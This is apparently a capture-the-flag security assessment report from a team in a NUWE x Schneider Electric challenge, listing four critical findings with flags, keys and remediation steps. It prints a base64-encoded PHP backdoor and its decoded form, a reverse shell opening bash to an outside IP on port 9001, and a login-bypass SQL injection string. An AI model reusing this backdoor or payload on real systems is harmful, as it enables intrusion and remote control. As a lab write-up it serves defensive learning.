Radiactividad
Security Assessment Findings Report

Date: November 19th, 2022

Contact Information

Name	Title	Contact Information
NUWE x Schneider Electric		
Paula Oliván Usieto	Leader	Email: pau.olivanusieto@gmail.com Github: www.github.com/PaulaOlivan
Cristina Marzo Pardos	Developer	Email: cristina.marzopardos@gmail.com Github: www.github.com/CristinaMarzo
Mario Ortega Cubero	Developer	Email: mariooc04@gmail.com Github: www.github.com/mariooc04

Finding Severity Ratings

The following table defines levels of severity and corresponding CVSS score range that are used throughout the document to assess vulnerability and risk impact.

Severity	CVSS V3 Score Range	Definition
Critical	9.0-10.0	Exploitation is straightforward and usually results in system-level compromise. It is advised to form a plan of action and patch immediately.
High	7.0-8.9	Exploitation is more difficult but could cause elevated privileges and potentially a loss of data or downtime. It is advised to form a plan of action and patch as soon as possible.
Moderate	4.0-6.9	Vulnerabilities exist but are not exploitable or require extra steps such as social engineering. It is advised to form a plan of action and patch after high-priority issues have been resolved.
Low	0.1-3.9	Vulnerabilities are non-exploitable but would reduce an organization's attack surface. It is advised to form a plan of action and patch during the next maintenance window.
Informational	N/A	No vulnerability exists. Additional information is provided regarding items noticed during testing, strong controls, and additional documentation.

Scope

Assessment	Details
Security Audit	18.132.250.80

Security Audit Findings

Backdoor – contact.vese.com (Critical)

Description:	Attacker’s backdoor to the system
Impact:	Critical
System:	contact.vese.com
References:	{FLAG_PUBWEBSI_BACK_892356}

Exploitation Proof of Concept

In file php/test_comment.php line 20, it has been founded an evaluation of the decoding from base 64:

Ly80MjZjZTkyOWVhMDUxMjg1ZTU1MWVhZjJiMmRlMmJmNDYzYWU3ODQ1NmZhM2I2NGFkYjVmZDIyMTRkOTg1ZTM0CmlmICgkbmFtZSA9PSAidGVzdDEiICYmICRlbWFpbCA9PSAidGVzdEB0ZXN0LmNvbSIgJiYgJG1lc3NhZ2UgPT0gInRlc3QyIil7CiAgICBzeXN0ZW0oImJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTU4LjQ2LjI1MC4xNTEvOTAwMSAwPiYxJyIpOwp9

Doing this process, it has been found that the sentence encoded was //426ce929ea051285e551eaf2b2de2bf463ae78456fa3b64adb5fd2214d985e34

```
if ($name == "test1" && $email == "test@test.com" && $message == "test2"){
    system("bash -c 'bash -i >& /dev/tcp/158.46.250.151/9001 0>&1'");
}
```

Key: 426ce929ea051285e551eaf2b2de2bf463ae78456fa3b64adb5fd2214d985e34

Flag: {FLAG_PUBWEBSI_BACK_892356}

This means that whenever the name introduced in the contact field is test1, the email is test@test.com and the message equals test2, a tcp connection to ip address 158.46.250.151 and port 9001 is done, sending the information gathered from standard input (0>&1), and also redirecting both standard and error outputs (>&). Thereby, the attacker has a completely functional backdoor to the system, as they can both enter keyboard information (so as to execute commands), and read the output produced by executions.

Remediation

Who:	IT Team
Vector:	Remote
Action:	Item 1: Delete line 20 in php/test_comment.php

SQL code injection – internal.vese.com (Critical)

Description:	High risk of SQL injection
Impact:	Critical
System:	internal.vese.com
References:	{FLAG_INTWEBSI_SQLI_306481}

Exploitation Proof of Concept

The user and password input validation of the web internal.vese.com is done in file php/login.php, where it is seen that both inputs are not checked for deleting SQL syntax, and thereby not avoiding the risk of SQL code injection. Furthermore, the result of the SQL query done in line 31 is not checked to have only 1 row.

Key: cc5713089b0a9335111f55bd25e39130b843dabadf63e1170c668d0a4a6d5e37

Flag: {FLAG_INTWEBSI_SQLI_306481}

A successful code injection has been done introducing ‘) OR 1=1 OR (‘ inside the user field, and a random value in the password one.

Remediation

Who:	IT Team
Vector:	Remote
Action:	Item 1: Check inputs for SQL syntax Item 2: Modify SQL query adding “LIMIT 1”

Sniffer – internal.vese.com (Critical)

Description:	Sniffing Vulnerability
Impact:	Critical
System:	internal.vese.com
References:	{FLAG_SHARKNET_SNIF_759871}

Exploitation Proof of Concept

As the website uses HTTP protocol the network content is not cypher so if someone uses a login form they can use a sniffer to read the credentials.

Searching in the data extracted from the dump using Wireshark we found a new key with its flag.

Key: b205e262a1f1adcd208b7c7e43fb248e2b499f7b9e9d5b378bdbea8a3f860dca

Flag: {FLAG_SHARKNET_SNIF_759871}

This might be a critical vulnerability because anyone could sniff administrator credentials.

Remediation

Who:	IT Team
Vector:	Remote
Action:	Item 1: Change http protocol to https

Terminal – pseudo-terminal/terminal.py (Critical)

Description:	Terminal available on the Internet for anyone to connect, get system information and change system settings
Impact:	Critical
System:	pseudo-terminal
References:	{FLAG_PSEUTERM_COIN_256579}

Exploitation Proof of Concept

We found the correspondent key in file pseudo-terminal/switch.py. It was not difficult to verify it because we only had to decrypt it with AES-256.

Key: 73b0c826e8be11fa266896bb1150d1844f88fc5458de5a0546b1a2344e9a57b8

Flag: {FLAG_PSEUTERM_COIN_256579}

The pseudo-terminal/terminal.py sets up a server listening on the 6969 port of the machine provided. In this file, an object of class SwitcherCommands (defined in pseudo-terminal/switch.py) is instanced and then, it always executes cmd_banner function, which depending on the arguments provided, can display a banner and change its message, or send the client the content of a pipe filled with the execution of a figlet command.

Remediation

Who:	IT Team
Vector:	Remote
Action:	Item 1: Disable cmd_banner function for external clients. Additional Recommendations: Check the demanded command before executing it.

Exploitation Paths

The attacker might have connected to the pseudo-terminal published on the 6969 port. Then, they would have successfully accessed to system credentials and after performing the attack, have left a backdoor to the whole system in a public web.